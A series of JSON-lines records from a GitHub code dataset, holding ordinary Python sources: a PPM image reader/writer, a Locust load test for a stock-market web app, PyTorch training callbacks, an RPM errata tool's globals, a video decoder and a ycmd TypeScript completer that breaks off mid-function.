inputs\n\n if p_range > 255:\n raise ValueError('Colour Range is greater than 255!')\n\n if p_encoding != 'P1' and p_encoding != 'P2' and p_encoding != 'P3':\n raise ValueError('Invalid encoding! (%s)' % p_encoding)\n\n if p_width < 1 or p_height < 1:\n raise ValueError('Invalid dimensions! (%d x %d)' % (p_width, p_height))\n\n # Read Content\n pict = Picture(p_encoding, p_width, p_height, p_range)\n\n for i, line in enumerate(content):\n pix = iter(map(int, re.split(' +', line)))\n for j in range(p_width):\n if p_encoding == 'P3':\n r = next(pix)\n g = next(pix)\n b = next(pix)\n pict[j, i] = rgb(r, g, b)\n else:\n bw = next(pix)\n pict[j, i] = bw\n\n return pict\n\n\ndef write(path, pict):\n with open(path, 'w') as f:\n f.write('%s\\n%d %d\\n%d\\n' % (pict.encoding, pict.width, pict.height, pict.range))\n\n for row in pict.pixels:\n line = []\n for pixel in row:\n line.append(str(pixel))\n f.write('%s\\n' % ' '.join(line))\n","repo_name":"plasmatic1/archived-projects","sub_path":"netbpm-lib/api/ppm_io.py","file_name":"ppm_io.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11252906493","text":"from locust import HttpUser, TaskSet, task, between\nimport json\nfrom bs4 import BeautifulSoup\nimport string\nimport random\nimport logging, sys\nimport psycopg2, config\n\ndef print_msgs(rep):\n soup = BeautifulSoup(rep.text,'html.parser')\n txts=soup.find_all('div',{'class':'alert'})\n if len(txts)!=0:\n print([x.text.strip() for x in txts])\n\n### Brokers for load testing all registered at eid 1, 2, 3\nbrokers = [[17, 'ThomasKMorgan'], [18, 'JimMMendez'], [20, 'AnthonyYWinkelman'], [28, 'MelvinAMunoz']]\n### Stock i listed at exchange i + 1\nstocks = [[['86', 'APAM'] , ['582', 'MT']],\n [['157', 'CABK'] , ['277', 'ELE']],\n [['10', 'AAL'] , ['11', 'AAP']]\n ]\n\nclient_portfolio = [\n [[[77, 'RobertHFlanders'], [83, 'EmmaJLawless']], \n [[56, 'KarenEChen'], [174, 'HannahRHickman']]],\n [[[124, 'NathanWLoudermilk'], [313, 'DelbertASlater']], \n [[92, 'EmmaJLawless'], [274, 'ChristinaRHayse']]],\n [[[115, 'JohnJPrange'], [218, 'ShirleyRLappin']], \n [[917, 'BrendaJFiore'], [933, 'ChristopherLZimmerman']]]\n ] \n\nclass BrokerUniqueTests(HttpUser):\n cntr = 0\n weight = 4\n wait_time = between(10, 12)\n def on_start(self):\n self.authenticated = False\n if BrokerUniqueTests.cntr < len(brokers):\n self.var_bid = brokers[BrokerUniqueTests.cntr][0]\n self.var_name = brokers[BrokerUniqueTests.cntr][1]\n BrokerUniqueTests.cntr += 1\n self.conn = psycopg2.connect(dbname = config.name, user = config.user, password = config.pswd, host = config.host, port = config.port)\n self.login()\n\n def login(self):\n response = self.client.get('login')\n # print(response.cookies)\n csrftoken = response.cookies['csrftoken']\n rep = self.client.post('login',\n {'username': self.var_name, 'password': self.var_name, 'broker_login':'Login'},\n headers={'X-CSRFToken': csrftoken}, allow_redirects=True)\n # print(dir(rep))\n # print_msgs(rep)\n logging.info('Login with %s ID and %s NAME', self.var_bid, self.var_name)\n self.authenticated = True\n\n @task\n def approve_order(self):\n if not self.authenticated:\n logging.info('Invalid Broker Entered')\n return\n\n curr = self.conn.cursor()\n curr.execute(f'SELECT order_id from market_pendingorder where bid = {self.var_bid}')\n result_set = curr.fetchall()\n\n for order_id in result_set:\n response = self.client.get(f'broker/approve_order?order={order_id[0]}')\n\nclass ClientUniqueTests(HttpUser):\n cntr = 0\n weight = 12\n wait_time = between(2, 3)\n def on_start(self):\n self.authenticated = False\n if ClientUniqueTests.cntr < 12:\n self.eid = ClientUniqueTests.cntr//4\n self.sid = (ClientUniqueTests.cntr%4)//2\n self.clid = (ClientUniqueTests.cntr)%2\n\n self.var_folio_id = client_portfolio[self.eid][self.sid][self.clid][0]\n self.var_name = client_portfolio[self.eid][self.sid][self.clid][1]\n self.var_eid = self.eid + 1\n self.var_sid = stocks[self.eid][self.sid][0]\n ClientUniqueTests.cntr += 1\n self.login()\n\n def login(self):\n response = self.client.get('login')\n csrftoken = response.cookies['csrftoken']\n rep=self.client.post('login',\n {'username': self.var_name, 'password': self.var_name, 'client_login':'Login'},\n headers={'X-CSRFToken': csrftoken}, allow_redirects=True)\n logging.info('Login with %s FOLIO_ID and %s NAME', self.var_folio_id, self.var_name)\n self.authenticated = True\n\n @task\n def place_order(self):\n if not self.authenticated:\n logging.info('Invalid Client Entered')\n return\n\n response = self.client.get('client/place_order')\n csrftoken = response.cookies['csrftoken']\n\n order_type = 'Buy' if self.clid == 0 else 'Sell'\n quantity = 2 + random.randrange(0, 3)\n price = 10 + random.randrange(0, 6)\n var_bid = brokers[random.randrange(0,4)][0]\n rep = self.client.post('client/place_order',\n {'order_type': order_type, 'quantity': quantity, 'portfolio': self.var_folio_id,\n 'stock': self.var_sid, 'exchange': self.var_eid, 'broker': var_bid,\n 'price': price, 'submit': 'Place Order'},\n headers={'X-CSRFToken': csrftoken}, allow_redirects=True)","repo_name":"Shreya-Pathak/StockMarket","sub_path":"Testing/test_buysellorder.py","file_name":"test_buysellorder.py","file_ext":"py","file_size_in_byte":4764,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18742068179","text":"\"\"\"PyTorch Callbacks.\"\"\"\n\nimport os\nimport numpy as np\nfrom .metrics import metric_dict\nimport torch\n\n \nclass TorchEarlyStopping(object):\n \"\"\"Tracks if model training should stop based on rate of improvement.\n\n Arguments\n ---------\n patience : int, optional\n The number of epochs to wait before stopping the model if the metric\n didn't improve. Defaults to 5.\n threshold : float, optional\n The minimum metric improvement required to count as \"improvement\".\n Defaults to ``0.0`` (any improvement satisfies the requirement).\n verbose : bool, optional\n Verbose text output. Defaults to off (``False``). _NOTE_ : This\n currently does nothing.\n \"\"\"\n\n def __init__(self, patience=5, threshold=0.0, verbose=False):\n self.patience = patience\n self.threshold = threshold\n self.counter = 0\n self.best = None\n self.stop = False\n\n def __call__(self, metric_score):\n\n if self.best is None:\n self.best = metric_score\n self.counter = 0\n else:\n if self.best - self.threshold < metric_score:\n self.counter += 1\n else:\n self.best = metric_score\n self.counter = 0\n\n if self.counter >= self.patience:\n self.stop = True\n\n\nclass TorchTerminateOnNaN(object):\n \"\"\"Sets a stop condition if the model loss achieves an NaN or inf value.\n\n Arguments\n ---------\n patience : int, optional\n The number of epochs that must display an NaN loss value before\n stopping. Defaults to ``1``.\n verbose : bool, optional\n Verbose text output. Defaults to off (``False``). _NOTE_ : This\n currently does nothing.\n \"\"\"\n\n def __init__(self, patience=1, verbose=False):\n self.patience = patience\n self.counter = 0\n self.stop = False\n\n def __call__(self, loss):\n if np.isnan(loss) or np.isinf(loss):\n self.counter += 1\n if self.counter >= self.patience:\n self.stop = True\n else:\n self.counter = 0\n\n\nclass TorchTerminateOnMetricNaN(object):\n \"\"\"Sets a stop condition if a training metric achieves an NaN or inf value.\n\n Arguments\n ---------\n stopping_metric : str\n The name of the metric to stop on. The name must match a key in\n :const:`solaris.nets.metrics.metric_dict` .\n patience : int, optional\n The number of epochs that must display an NaN loss value before\n stopping. Defaults to ``1``.\n verbose : bool, optional\n Verbose text output. Defaults to off (``False``). _NOTE_ : This\n currently does nothing.\n \"\"\"\n\n def __init__(self, stopping_metric, patience=1, verbose=False):\n self.metric = metric_dict[stopping_metric]\n self.patience = patience\n self.counter = 0\n self.stop = False\n\n def __call__(self, y_true, y_pred):\n if np.isinf(self.metric(y_true, y_pred)) or \\\n np.isnan(self.metric(y_true, y_pred)):\n self.counter += 1\n if self.counter >= self.patience:\n self.stop = True\n else:\n self.counter = 0\n\n\nclass TorchModelCheckpoint(object):\n \"\"\"Save the model at specific points using Keras checkpointing args.\n\n Arguments\n ---------\n filepath : str, optional\n Path to save the model file to. The end of the path (before the\n file extension) will have ``'_[epoch]'`` added to it to ID specific\n checkpoints.\n monitor : str, optional\n The loss value to monitor. Options are\n ``['loss', 'val_loss', 'periodic']`` or a metric from the keys in\n :const:`solaris.nets.metrics.metric_dict` . Defaults to ``'loss'`` . If\n ``'periodic'``, it saves every n epochs (see `period` below).\n verbose : bool, optional\n Verbose text output. Defaults to ``False`` .\n save_best_only : bool, optional\n Save only the model with the best value? Defaults to no (``False`` ).\n mode : str, optional\n One of ``['auto', 'min', 'max']``. Is a better value higher or lower?\n Defaults to ``'auto'`` in which case it tries to infer it (if\n ``monitor='loss'`` or ``monitor='val_loss'`` , it assumes ``'min'`` ,\n if it's a metric it assumes ``'max'`` .) If ``'min'``, it assumes lower\n values are better; if ``'max'`` , it assumes higher values are better.\n period : int, optional\n If using ``monitor='periodic'`` , this saves models every `period`\n epochs. Otherwise, it sets the minimum number of epochs between\n checkpoints.\n \"\"\"\n\n def __init__(self, filepath='', monitor='loss', verbose=False,\n save_best_only=False, mode='auto', period=1,\n weights_only=True):\n\n self.filepath = filepath\n self.monitor = monitor\n if self.monitor not in ['loss', 'val_loss', 'periodic']:\n self.monitor = metric_dict[self.monitor]\n self.verbose = verbose\n self.save_best_only = save_best_only\n self.period = period\n self.weights_only = weights_only\n self.mode = mode\n if self.mode == 'auto':\n if self.monitor in ['loss', 'val_loss']:\n self.mode = 'min'\n else:\n self.mode = 'max'\n\n self.epoch = 0\n self.last_epoch = 0\n self.last_saved_value = None\n\n def __call__(self, model, loss_value=None, y_true=None, y_pred=None):\n \"\"\"Run a round of model checkpointing for an epoch.\n\n Arguments\n ---------\n model : model object\n The model to be saved during checkpoints. Must be a PyTorch model.\n loss_value : numeric, optional\n The numeric output of the loss function. Only required if using\n ``monitor='loss'`` or ``monitor='val_loss'`` .\n y_true : :class:`np.array` , optional\n The labels for the validation data. Only required if using\n a metric as the monitored value.\n y_pred : :class:`np.array` , optional\n The predicted values from the model. Only required if using\n a metric as the monitored value.\n \"\"\"\n\n self.epoch += 1\n if self.monitor == 'periodic': # update based on period\n if self.last_epoch + self.period <= self.epoch:\n # self.last_saved_value = loss_value if loss_value else 0\n self.save(model, self.weights_only)\n self.last_epoch = self.epoch\n\n\n elif self.monitor in ['loss', 'val_loss']:\n if self.last_saved_value is None:\n self.last_saved_value = loss_value\n if self.last_epoch + self.period <= self.epoch:\n self.save(model, self.weights_only)\n self.last_epoch = self.epoch\n if self.last_epoch + self.period <= self.epoch:\n if self.check_is_best_value(loss_value):\n self.last_saved_value = loss_value\n self.save(model, self.weights_only)\n self.last_epoch = self.epoch\n\n else:\n if self.last_saved_value is None:\n self.last_saved_value = self.monitor(y_true, y_pred)\n if self.last_epoch + self.period <= self.epoch:\n self.save(model, self.weights_only)\n self.last_epoch = self.epoch\n if self.last_epoch + self.period <= self.epoch:\n metric_value = self.monitor(y_true, y_pred)\n if self.check_is_best_value(metric_value):\n self.last_saved_value = metric_value\n self.save(model, self.weights_only)\n self.last_epoch = self.epoch\n\n def check_is_best_value(self, value):\n \"\"\"Check if `value` is better than the best stored value.\"\"\"\n if self.mode == 'min' and self.last_saved_value > value:\n return True\n elif self.mode == 'max' and self.last_saved_value < value:\n return True\n else:\n return False\n\n def save(self, model, weights_only):\n \"\"\"Save the model.\n\n Arguments\n ---------\n model : :class:`torch.nn.Module`\n A PyTorch model instance to save.\n weights_only : bool, optional\n Should the entire model be saved, or only its weights (also known\n as the state_dict)? Defaults to ``False`` (saves entire model). The\n entire model must be saved to resume training without re-defining\n the model architecture, optimizer, and loss function.\n \"\"\"\n save_name = os.path.splitext(self.filepath)[0] + '_epoch{}_{}'.format(\n self.epoch, np.round(self.last_saved_value, 3))\n save_name = save_name + os.path.splitext(self.filepath)[1]\n if isinstance(model, torch.nn.DataParallel):\n to_save = model.module\n else:\n to_save = model\n if weights_only:\n torch.save(to_save.state_dict(), save_name)\n else:\n torch.save(to_save, save_name)\n\n\ntorch_callback_dict = {\n \"early_stopping\": TorchEarlyStopping,\n \"model_checkpoint\": TorchModelCheckpoint,\n \"terminate_on_nan\": TorchTerminateOnNaN,\n \"terminate_on_metric_nan\": TorchTerminateOnMetricNaN\n}\n","repo_name":"CosmiQ/solaris","sub_path":"solaris/nets/torch_callbacks.py","file_name":"torch_callbacks.py","file_ext":"py","file_size_in_byte":9339,"program_lang":"python","lang":"en","doc_type":"code","stars":402,"dataset":"github-code","pt":"61"} +{"seq_id":"30824001431","text":"from __future__ import absolute_import\n\nimport datetime\nimport gettext\nimport logging\nimport os.path\nimport os\n\nif os.environ.get(\"FLEURE_MEMORY_DEBUG\", False):\n try:\n from memory_profiler import profile\n except ImportError:\n from fleure.decorators import noop as profile # noqa: F401\nelse:\n from fleure.decorators import noop as profile # noqa: F401\n\n\nPACKAGE = \"fleure\"\n\nFLEURE_SYSCONF = os.environ.get(\"FLEURE_SYSCONF\", \"/etc/%s.d/*.*\" % PACKAGE)\nFLEURE_DATADIR = os.environ.get(\"FLEURE_DATADIR\", \"/usr/share/%s\" % PACKAGE)\nFLEURE_TEMPLATE_PATHS = [os.path.join(FLEURE_DATADIR, \"templates/2/%s\") % lang\n for lang in (\"ja\", \"en\")]\n\nRPMDB_SUBDIR = \"var/lib/rpm\"\n\n# It may depends on the versions of rpm:\nRPMDB_FILENAMES = (\"Packages\", \"Basenames\", \"Dirnames\", \"Installtid\", \"Name\",\n \"Obsoletename\", \"Providename\", \"Requirename\")\n\nRPM_VENDOR = \"redhat\"\nRPM_KEYS = (\"name\", \"epoch\", \"version\", \"release\", \"arch\")\nERRATA_KEYWORDS = (\"crash\", \"panic\", \"hang\", \"SEGV\", \"segmentation fault\",\n \"data corruption\")\nERRATA_PKEYWORDS = {}\nCORE_RPMS = (\"kernel\", \"glibc\", \"bash\", \"openssl\", \"zlib\")\nCVSS_MIN_SCORE = 0 # PCIDSS: 4.0\n\nTODAY = datetime.datetime.now().strftime(\"%F\")\n\nREPOS_MAP = \\\n dict(rhel_5=[\"rhel-x86_64-server-5\"],\n rhel_5_extras=[\"rhel-x86_64-server-cluster-5\",\n \"rhel-x86_64-server-cluster-storage-5\",\n \"rhel-x86_64-server-productivity-5\",\n \"rhel-x86_64-server-supplementary-5\"],\n rhel_6=[\"rhel-6-server-rpms\",\n \"rhel-6-server-optional-rpms\"],\n rhel_6_extras=[\"rhel-6-server-rh-common-rpms\",\n \"rhel-6-server-extras-rpms\",\n \"rhel-ha-for-rhel-6-server-rpms\",\n \"rhel-rs-for-rhel-6-server-rpms\",\n \"rhel-sfs-for-rhel-6-server-rpms\",\n \"rhel-6-server-supplementary-rpms\"],\n rhel_7=[\"rhel-7-server-rpms\",\n \"rhel-7-server-optional-rpms\"],\n rhel_7_extras=[\"rhel-7-server-rh-common-rpms\",\n \"rhel-7-server-extras-rpms\",\n \"rhel-ha-for-rhel-7-server-rpms\",\n \"rhel-rs-for-rhel-7-server-rpms\",\n \"rhel-7-server-supplementary-rpms\"])\n\nREPORT_FILES = (\"errata_summary.xls\", \"errata_details.xls\")\nLOGGING_FORMAT = \"%(asctime)s %(name)s: [%(levelname)s] %(message)s\"\n\n\ndef get_logger(name=PACKAGE, fmt=LOGGING_FORMAT, level=logging.WARN):\n \"\"\"\n Initialize custom logger.\n \"\"\"\n logging.basicConfig(level=level, format=fmt)\n logger = logging.getLogger(name)\n\n hdlr = logging.StreamHandler()\n hdlr.setLevel(level)\n hdlr.setFormatter(logging.Formatter(format))\n logger.addHandler(hdlr)\n\n return logger\n\n\nLOGGER = get_logger()\n\n_ = gettext.translation(domain=PACKAGE,\n localedir=os.path.join(os.path.dirname(__file__),\n \"locale\"),\n fallback=True).gettext\n\n\ndef rpm_list_path(workdir, filename=\"packages.json\"):\n \"\"\"\n :param workdir: Working dir to dump the result\n :param filename: Output file basename\n \"\"\"\n return os.path.join(workdir, filename)\n\n\ndef errata_list_path(workdir, filename=\"errata.json\"):\n \"\"\"\n :param workdir: Working dir to dump the result\n :param filename: Output file basename\n \"\"\"\n return os.path.join(workdir, filename)\n\n\ndef updates_list_path(workdir, filename=\"updates.json\"):\n \"\"\"\n :param workdir: Working dir to dump the result\n \"\"\"\n return os.path.join(workdir, filename)\n\n# vim:sw=4:ts=4:et:\n","repo_name":"ssato/fleure","sub_path":"fleure/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27060304007","text":"import numpy as np\n\nfrom EntropyDecoder import EntropyDecoder\nfrom IBitstream import IBitstream\nfrom dct import Transformation\nfrom PredictionCalculator import PredictionCalculator\nfrom PredictionCalculator import PredictionMode\n\n\ndef de_diagonalize(arr: np.ndarray) -> np.ndarray:\n x = 0\n y = 0\n x_start = 0\n\n wx, wy = arr.shape\n res = np.zeros(arr.shape, dtype=arr.dtype)\n arr = arr.flatten()\n for i in range(arr.size):\n res[y][x] = arr[i]\n x += 1\n y -= 1\n if y < 0 or x >= wx:\n y = min(x, wx - 1)\n\n if x >= wx:\n x_start += 1\n x = x_start\n return res\n\n\nclass Decoder:\n\n def __init__(self, input_path, output_path, pgm):\n self.output_path = output_path\n self.pgm = pgm\n self.bitstream = IBitstream(input_path)\n self.image_width = self.bitstream.get_bits(16)\n self.image_height = self.bitstream.get_bits(16)\n self.block_size = self.bitstream.get_bits(16)\n self.qp = self.bitstream.get_bits(8)\n self.qs = 2 ** (self.qp / 4)\n self.pad_height = self.block_size - self.image_height%self.block_size if self.image_height%self.block_size != 0 else 0\n self.pad_width = self.block_size - self.image_width%self.block_size if self.image_width%self.block_size != 0 else 0\n self.image = np.zeros([self.image_height + self.pad_height, self.image_width+self.pad_width], dtype=np.uint8)\n self.image_array = []\n self.transformation = Transformation(self.block_size)\n\n def decode_block_intra_pic(self, x: int, y: int):\n # entropy decoding (EntropyDecoder)\n ent_dec_block, prediction_mode = self.ent_dec.read_block_intra_pic()\n\n # scan unpacking\n if prediction_mode == PredictionMode.DC_PREDICTION or prediction_mode == PredictionMode.PLANAR_PREDICTION:\n ordered_block = de_diagonalize(ent_dec_block)\n elif prediction_mode == PredictionMode.HORIZONTAL_PREDICTION:\n ordered_block = ent_dec_block.T\n elif prediction_mode == PredictionMode.VERTICAL_PREDICTION:\n ordered_block = ent_dec_block\n\n # de-quantization\n recBlock = ordered_block * self.qs\n # idct\n recBlock = self.transformation.backward_transform(recBlock, prediction_mode)\n # adding prediction\n recBlock += self.pred_calc.get_prediction(x, y, prediction_mode)\n # clipping (0,255) and store to image\n self.image[y:y + self.block_size, x:x + self.block_size] = np.clip(recBlock, 0, 255).astype('uint8')\n\n def decode_block_inter_pic(self, x: int, y: int):\n # entropy decoding (EntropyDecoder)\n ent_dec_block, inter_flag, dmx, dmy = self.ent_dec.read_block_inter_pic()\n # reverse scanning\n ordered_block = de_diagonalize(ent_dec_block)\n # de-quantization\n recBlock = ordered_block * self.qs\n # idct\n recBlock = self.transformation.backward_transform(recBlock, PredictionMode.DC_PREDICTION) # set predMode=DC for correct transform\n\n # prediction\n if inter_flag:\n mxp, myp = self.pred_calc.get_mv_pred(x, y)\n mx = mxp + dmx\n my = myp + dmy\n self.pred_calc.store_mv(x, y, mx, my)\n recBlock += self.pred_calc.get_inter_prediction(x, y, mx, my)\n else:\n recBlock += self.pred_calc.get_prediction(x, y, PredictionMode.DC_PREDICTION)\n\n # clipping (0,255) and store to image\n self.image[y:y + self.block_size, x:x + self.block_size] = np.clip(recBlock, 0, 255).astype('uint8')\n\n # opening and writing a binary file\n def write_out(self):\n out_file = open(self.output_path, \"wb\")\n if self.pgm:\n out_file.write(f'P5\\n{self.image_width} {self.image_height}\\n255\\n'.encode())\n for image in self.image_array:\n # padding is removed directly before output\n image = image[:self.image_height,:self.image_width]\n out_file.write(image.ravel().tobytes())\n out_file.close()\n return True\n\n def decode_next_frame_intra(self):\n self.pred_calc = PredictionCalculator(self.image, self.block_size)\n\n # start new arithmetic codeword\n self.ent_dec = EntropyDecoder(self.bitstream, self.block_size)\n\n # decode blocks\n for yi in range(0, self.image_height + self.pad_height, self.block_size):\n for xi in range(0, self.image_width + self.pad_width, self.block_size):\n self.decode_block_intra_pic(xi, yi)\n\n # terminate arithmatic codeword and check whether everything is ok so far\n is_ok = self.ent_dec.terminate()\n if not is_ok:\n raise Exception('Arithmetic codeword not correctly terminated at end of frame')\n\n self.image_array.append(self.image)\n self.image = np.zeros([self.image_height + self.pad_height, self.image_width + self.pad_width],\n dtype=np.uint8)\n\n def decode_next_frame_inter(self):\n padded_last_frame = np.pad(self.image_array[-1], ((self.block_size, self.block_size), (self.block_size, self.block_size)), \"edge\")\n self.pred_calc = PredictionCalculator(self.image, self.block_size, padded_last_frame)\n\n # start new arithmetic codeword\n self.ent_dec = EntropyDecoder(self.bitstream, self.block_size)\n\n # decode blocks\n for yi in range(0, self.image_height + self.pad_height, self.block_size):\n for xi in range(0, self.image_width + self.pad_width, self.block_size):\n self.decode_block_inter_pic(xi, yi)\n\n # terminate arithmatic codeword and check whether everything is ok so far\n is_ok = self.ent_dec.terminate()\n if not is_ok:\n raise Exception('Arithmetic codeword not correctly terminated at end of frame')\n \n\n self.image_array.append(self.image)\n self.image = np.zeros([self.image_height + self.pad_height, self.image_width + self.pad_width],\n dtype=np.uint8)\n\n def decode_all_frames(self):\n self.decode_next_frame_intra()\n while not self.bitstream.is_EOF():\n self.decode_next_frame_inter()\n self.write_out()\n\n","repo_name":"FUHannes/IVC","sub_path":"Decoder.py","file_name":"Decoder.py","file_ext":"py","file_size_in_byte":6234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3943345154","text":"from __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import * # noqa\n\nimport json\nimport logging\nimport os\nimport re\nimport subprocess\nimport itertools\nimport threading\n\nfrom tempfile import NamedTemporaryFile\n\nfrom ycmd import responses\nfrom ycmd import utils\nfrom ycmd.completers.completer import Completer\nfrom ycmd.completers.completer_utils import GetFileContents\n\nBINARY_NOT_FOUND_MESSAGE = ( 'TSServer not found. '\n 'TypeScript 1.5 or higher is required.' )\nSERVER_NOT_RUNNING_MESSAGE = 'TSServer is not running.'\n\nMAX_DETAILED_COMPLETIONS = 100\nRESPONSE_TIMEOUT_SECONDS = 10\n\nPATH_TO_TSSERVER = utils.FindExecutable( 'tsserver' )\n\nLOGFILE_FORMAT = 'tsserver_'\n\n_logger = logging.getLogger( __name__ )\n\n\nclass DeferredResponse( object ):\n \"\"\"\n A deferred that resolves to a response from TSServer.\n \"\"\"\n\n def __init__( self, timeout = RESPONSE_TIMEOUT_SECONDS ):\n self._event = threading.Event()\n self._message = None\n self._timeout = timeout\n\n\n def resolve( self, message ):\n self._message = message\n self._event.set()\n\n\n def result( self ):\n self._event.wait( timeout = self._timeout )\n if not self._event.isSet():\n raise RuntimeError( 'Response Timeout' )\n message = self._message\n if not message[ 'success' ]:\n raise RuntimeError( message[ 'message' ] )\n if 'body' in message:\n return self._message[ 'body' ]\n\n\ndef ShouldEnableTypescriptCompleter():\n if not PATH_TO_TSSERVER:\n _logger.error( BINARY_NOT_FOUND_MESSAGE )\n return False\n\n _logger.info( 'Using TSServer located at {0}'.format( PATH_TO_TSSERVER ) )\n\n return True\n\n\nclass TypeScriptCompleter( Completer ):\n \"\"\"\n Completer for TypeScript.\n\n It uses TSServer which is bundled with TypeScript 1.5\n\n See the protocol here:\n https://github.com/Microsoft/TypeScript/blob/2cb0dfd99dc2896958b75e44303d8a7a32e5dc33/src/server/protocol.d.ts\n \"\"\"\n\n\n def __init__( self, user_options ):\n super( TypeScriptCompleter, self ).__init__( user_options )\n\n self._logfile = None\n\n self._tsserver_handle = None\n\n # Used to prevent threads from concurrently writing to\n # the tsserver process' stdin\n self._write_lock = threading.Lock()\n\n # Each request sent to tsserver must have a sequence id.\n # Responses contain the id sent in the corresponding request.\n self._sequenceid = itertools.count()\n\n # Used to prevent threads from concurrently accessing the sequence counter\n self._sequenceid_lock = threading.Lock()\n\n self._server_lock = threading.RLock()\n\n # Used to read response only if TSServer is running.\n self._tsserver_is_running = threading.Event()\n\n # Start a thread to read response from TSServer.\n self._thread = threading.Thread( target = self._ReaderLoop, args = () )\n self._thread.daemon = True\n self._thread.start()\n\n self._StartServer()\n\n # Used to map sequence id's to their corresponding DeferredResponse\n # objects. The reader loop uses this to hand out responses.\n self._pending = {}\n\n # Used to prevent threads from concurrently reading and writing to\n # the pending response dictionary\n self._pending_lock = threading.Lock()\n\n _logger.info( 'Enabling typescript completion' )\n\n\n def _StartServer( self ):\n with self._server_lock:\n if self._ServerIsRunning():\n return\n\n self._logfile = utils.CreateLogfile( LOGFILE_FORMAT )\n tsserver_log = '-file {path} -level {level}'.format( path = self._logfile,\n level = _LogLevel() )\n # TSServer gets the configuration for the log file through the\n # environment variable 'TSS_LOG'. This seems to be undocumented but\n # looking at the source code it seems like this is the way:\n # https://github.com/Microsoft/TypeScript/blob/8a93b489454fdcbdf544edef05f73a913449be1d/src/server/server.ts#L136\n environ = os.environ.copy()\n utils.SetEnviron( environ, 'TSS_LOG', tsserver_log )\n\n _logger.info( 'TSServer log file: {0}'.format( self._logfile ) )\n\n # We need to redirect the error stream to the output one on Windows.\n self._tsserver_handle = utils.SafePopen( PATH_TO_TSSERVER,\n stdin = subprocess.PIPE,\n stdout = subprocess.PIPE,\n stderr = subprocess.STDOUT,\n env = environ )\n\n self._tsserver_is_running.set()\n\n\n def _ReaderLoop( self ):\n \"\"\"\n Read responses from TSServer and use them to resolve\n the DeferredResponse instances.\n \"\"\"\n\n while True:\n self._tsserver_is_running.wait()\n\n try:\n message = self._ReadMessage()\n except RuntimeError:\n _logger.exception( SERVER_NOT_RUNNING_MESSAGE )\n self._tsserver_is_running.clear()\n continue\n\n # We ignore events for now since we don't have a use for them.\n msgtype = message[ 'type' ]\n if msgtype == 'event':\n eventname = message[ 'event' ]\n _logger.info( 'Received {0} event from tsserver'.format( eventname ) )\n continue\n if msgtype != 'response':\n _logger.error( 'Unsupported message type {0}'.format( msgtype ) )\n continue\n\n seq = message[ 'request_seq' ]\n with self._pending_lock:\n if seq in self._pending:\n self._pending[ seq ].resolve( message )\n del self._pending[ seq ]\n\n\n def _ReadMessage( self ):\n \"\"\"Read a response message from TSServer.\"\"\"\n\n # The headers are pretty similar to HTTP.\n # At the time of writing, 'Content-Length' is the only supplied header.\n headers = {}\n while True:\n headerline = self._tsserver_handle.stdout.readline().strip()\n if not headerline:\n break\n key, value = utils.ToUnicode( headerline ).split( ':', 1 )\n headers[ key.strip() ] = value.strip()\n\n # The response message is a JSON object which comes back on one line.\n # Since this might change in the future, we use the 'Content-Length'\n # header.\n if 'Content-Length' not in headers:\n raise RuntimeError( \"Missing 'Content-Length' header\" )\n contentlength = int( headers[ 'Content-Length' ] )\n # TSServer adds a newline at the end of the response message and counts it\n # as one character (\\n) towards the content length. However, newlines are\n # two characters on Windows (\\r\\n), so we need to take care of that. See\n # issue https://github.com/Microsoft/TypeScript/issues/3403\n content = self._tsserver_handle.stdout.read( contentlength )\n if utils.OnWindows() and content.endswith( b'\\r' ):\n content += self._tsserver_handle.stdout.read( 1 )\n return json.loads( utils.ToUnicode( content ) )\n\n\n def _BuildRequest( self, command, arguments = None ):\n \"\"\"Build TSServer request object.\"\"\"\n\n with self._sequenceid_lock:\n seq = next( self._sequenceid )\n request = {\n 'seq': seq,\n 'type': 'request',\n 'command': command\n }\n if arguments:\n request[ 'arguments' ] = arguments\n return request\n\n\n def _WriteRequest( self, request ):\n \"\"\"Write a request to TSServer stdin.\"\"\"\n\n serialized_request = utils.ToBytes( json.dumps( request ) + '\\n' )\n with self._write_lock:\n try:\n self._tsserver_handle.stdin.write( serialized_request )\n self._tsserver_handle.stdin.flush()\n # IOError is an alias of OSError in Python 3.\n except ( AttributeError, IOError ):\n _logger.exception( SERVER_NOT_RUNNING_MESSAGE )\n raise RuntimeError( SERVER_NOT_RUNNING_MESSAGE )\n\n\n def _SendCommand( self, command, arguments = None ):\n \"\"\"\n Send a request message to TSServer but don't wait for the response.\n This function is to be used when we don't care about the response\n to the message that is sent.\n \"\"\"\n\n request = self._BuildRequest( command, arguments )\n self._WriteRequest( request )\n\n\n def _SendRequest( self, command, arguments = None ):\n \"\"\"\n Send a request message to TSServer and wait\n for the response.\n \"\"\"\n\n request = self._BuildRequest( command, arguments )\n deferred = DeferredResponse()\n with self._pending_lock:\n seq = request[ 'seq' ]\n self._pending[ seq ] = deferred\n self._WriteRequest( request )\n return deferred.result()\n\n\n def _Reload( self, request_data ):\n \"\"\"\n Syncronize TSServer's view of the file to\n the contents of the unsaved buffer.\n \"\"\"\n\n filename = request_data[ 'filepath' ]\n contents = request_data[ 'file_data' ][ filename ][ 'contents' ]\n tmpfile = NamedTemporaryFile( delete = False )\n tmpfile.write( utils.ToBytes( contents ) )\n tmpfile.close()\n self._SendRequest( 'reload', {\n 'file': filename,\n 'tmpfile': tmpfile.name\n } )\n utils.RemoveIfExists( tmpfile.name )\n\n\n def _ServerIsRunning( self ):\n with self._server_lock:\n return utils.ProcessIsRunning( self._tsserver_handle )\n\n\n def ServerIsHealthy( self ):\n return self._ServerIsRunning()\n\n\n def SupportedFiletypes( self ):\n return [ 'typescript' ]\n\n\n def ComputeCandidatesInner( self, request_data ):\n self._Reload( request_data )\n entries = self._SendRequest( 'completions', {\n 'file': request_data[ 'filepath' ],\n 'line': request_data[ 'line_num' ],\n 'offset': request_data[ 'start_codepoint' ]\n } )\n\n # A less detailed version of the completion data is returned\n # if there are too many entries. This improves responsiveness.\n if len( entries ) > MAX_DETAILED_COMPLETIONS:\n 